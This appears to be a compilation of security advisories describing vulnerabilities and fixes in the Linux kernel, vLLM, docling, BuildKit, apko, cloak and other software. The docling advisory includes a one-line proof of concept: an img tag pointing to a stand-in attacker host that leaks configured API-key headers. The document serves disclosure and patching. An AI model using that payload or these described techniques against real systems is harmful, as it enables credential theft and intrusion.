A vulnerability in the Linux kernel's wifi subsystem (cfg80211) was addressed by adding a check on the IP header size in the function cfg80211_classify8021d(). The issue involved processing frames that appeared to be IP packets but were too short, causing incorrect reading of the DS field and resulting in uninitialized value usage. This flaw was fixed by using skb_header_pointer() to properly validate the header size.
A vulnerability in the Linux kernel allows tcp_rmem to be set below 4096, which can cause a division by zero error in tcp_rcvbuf_grow() and tcp_rcv_space_adjust(). This occurs when tcp_rmem is configured with very small values, leading to zero divisor in critical TCP buffer calculations and resulting in a kernel crash. The issue has been fixed by enforcing a minimum tcp_rmem value of 4096.
A vulnerability in the Linux kernel's mhi_wwan_mbim driver (version 5.15) involves improper handling of the return value from skb_copy_bits(). This flaw allows a modem to cause the driver to pass uninitialized kernel heap memory to the network stack, potentially leaking sensitive data. The issue is fixed by checking the copy operation's return value and properly freeing the skb on failure.
A heap buffer overflow vulnerability exists in the Linux kernel's mwifiex driver due to improper handling of authentication frame length calculations. The vulnerability arises when the sum of authentication data lengths exceeds the maximum value storable in a 16-bit field, causing truncation and subsequent buffer overflow during frame processing. Exploitation requires CAP_NET_ADMIN privileges in the user namespace and a suitable network environment. The issue has been fixed in recent Linux kernel commits.
Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking vulnerability in danielberkompas cloak allows an attacker with write access to stored ciphertext to make it decrypt to a chosen value via bit flipping.
Cloak.Ciphers.AES.CTR encrypts with AES-256 in CTR mode and stores the key tag, the IV and the ciphertext with no MAC. decrypt/2 checks only the key tag and the minimum length before it returns the plaintext, and Cloak.Ciphers.Deprecated.AES.CTR decrypts the legacy format the same way. CTR is a stream cipher, so a value XORed into the stored ciphertext is XORed into the plaintext at the same offset. An attacker who can write to the encrypted store (for example through SQL injection or a compromised replica) and who knows or can guess a stored plaintext can replace it with any value of the same length. The application receives that value with no error.
This issue affects cloak: from 0.1.0-pre onward.
The elegro Crypto Payment WordPress plugin through 1.0.1 does not require a shared secret to be configured before trusting incoming payment notification requests, allowing unauthenticated attackers to forge payment confirmations and change the status of arbitrary orders on any installation where that secret has been left at its default empty value.
CVE-2026-104874 is a reference leak vulnerability in the items-view union and subtraction operators of the aio-libs/multidict Python package versions 6.7.0 through 6.9.0. This flaw allows a remote client to cause unbounded, unreclaimable memory growth by leaking references to key-identity and value objects during certain set operations on dictionary views. The leak occurs because the code fails to release new strong references created during operand parsing, leading to a monotonic increase in resident memory until the process is terminated.
CVE-2026-104033 is a medium severity vulnerability in Red Hat Enterprise Linux 10's SSSD component. It involves an off-by-one error where SSSD does not treat an LDAP shadow attribute expiration value of zero as an expired account. This flaw allows users with valid credentials for accounts intended to be expired to bypass access controls and authenticate, enabling unauthorized access to persist beyond intended deactivation.
GraphQL Tools provides utilities for building, stitching, and mocking GraphQL schemas. Prior to 12.0.1, the GraphQL Tools utils package's mergeDeep function follows inherited properties while recursively merging source objects and does not exclude __proto__, constructor, or prototype keys. An unauthenticated GraphQL client can alias fields to those names so responses from two subgraphs collide during ordinary supergraph result merging, causing mergeDeep to traverse Object and Function prototypes and overwrite Function.prototype.call with a subgraph-supplied value. This breaks subsequent requests in the process until restart. This issue is fixed in version 12.0.1.
vLLM is an inference and serving engine for large language models. Prior to 0.30.0, OpenAI-compatible request models accept a non-empty cache_salt value without enforcing the character and length restrictions required by the IPCCacheServerKey consumer in LMCache-MP. On deployments using the LMCache-MP connector, a salt that contains a forbidden character or exceeds the permitted length can raise an uncaught ValueError during scheduler cache lookup, causing EngineCore to terminate and denying service to all concurrent users. This issue is fixed in version 0.30.0.
vLLM is an inference and serving engine for large language models. Prior to 0.30.0, flash late-interaction scoring at the /score and /rerank endpoints derives each worker's query_key value from the caller-controlled X-Request-Id header. A concurrent request that reuses a victim's identifier can overwrite the cached query embedding so the victim's documents are scored against the attacker's query, and shared use counters can also cause a late-interaction cache-miss error. This issue is fixed in version 0.30.0.
vLLM is an inference and serving engine for large language models. Prior to 0.30.0, Harmony tool continuations submitted through "POST /v1/responses" requests rebuild the next-turn engine input without preserving the cache_salt value, placing the continuation prefix in the global unsalted cache namespace even when the caller enabled salting. On deployments with prefix caching enabled, which is the default, an authenticated tenant who can reconstruct a victim's low-entropy post-tool history can submit the same continuation and use the cached_tokens_per_turn count to determine whether the prefix was previously processed, defeating the intended tenant isolation of salted prefix caching. This issue is fixed in version 0.30.0.
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.107.0 until 2.120.3, docling/backend/opendocument_backend.py uses the xlink:href attribute value of a draw:image element as a filesystem path when the referenced part is not found in the document archive. The _image_ref_from_odf_image function reads that attacker-controlled path without a scheme check, extraction-directory confinement, or the enable_local_fetch setting used by other backends. Readable files that Pillow can decode as images are embedded in converted output, and other existing paths can be distinguished through the attempted read. This issue is fixed in 2.120.3.
### Summary
`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
### Details
`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.
### Affected configurations
- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.
- Not affected: the default configuration.
### Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
### Proof of concept
```html
<img src="https://attacker.example/pixel.png">
```
Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
### Patches
Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
### Workarounds
Upgrade to 2.132.0. For older versions:
Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
Previous versions of HP ThinPro (prior to HP ThinPro 8.1 SP10) could potentially contain security vulnerabilities. HP has released HP ThinPro 8.1 SP10, which includes updates to mitigate potential vulnerabilities.
Previous versions of HP ThinPro (prior to HP ThinPro 9 SP3) could potentially contain security vulnerabilities. HP has released HP ThinPro 9 SP3, which includes updates to mitigate potential vulnerabilities.
apko allows users to build and publish OCI container images built from apk packages. From version 0.2.0 to before version 1.4.5, UserEntry.Parse and GroupEntry.Parse in pkg/passwd read the UID and GID fields of /etc/passwd and /etc/group entries with strconv.Atoi and convert them to uint32 without a range check. On 64-bit platforms an out-of-range value such as 4294967296 (2^32) is truncated to 0, and negative values wrap. Because apko parses the passwd and group entries supplied by the packages it installs and writes them back into the image, an attacker who controls a package installed into the image can ship an entry that appears to declare an unprivileged UID or GID but is written into the built image as UID 0 or GID 0 (root). The truncated UID is also used when resolving the image's run-as user. This issue has been fixed in version 1.4.5.
CVE-2026-93317 is a medium severity vulnerability in moby BuildKit where an unauthenticated attacker controlling a registry or OCI-layout blob source can supply blob contents that do not match the claimed digest. This can cause the snapshot to be cached incorrectly and reused in subsequent builds, compromising the integrity of build inputs. The affected versions are from 0.28.0 up to but not including 0.33.1.
A malicious image can advertise DiffIDs from another image while containing different layer contents. In affected versions, BuildKit could use the advertised DiffIDs to derive cache and snapshot identity without validating that they matched the actual layer contents. If a BuildKit daemon with shared or persistent cache first processes such a malicious image, a later build using the victim image may mount the attacker-controlled layer contents as the base image. This can allow code from the malicious image to run in the victim build, for example by replacing a commonly executed path such as /bin/sh. The attacker-controlled code may read build secrets mounted into the build, access other build resources, alter output artifacts, or hang the build. The issue affects both regular snapshotters and lazy-pulling snapshotters such as stargz.
CVE-2026-93323 is a medium severity vulnerability in moby BuildKit where the Dockerfile frontend loads Dockerfile and .dockerignore files into memory without size limits. This can cause excessive memory allocation if a build context contains an oversized file, potentially exhausting memory and terminating the buildkitd daemon, disrupting other builds. The issue affects versions up to 0.33.0 and is fixed by rejecting files larger than 16 MiB.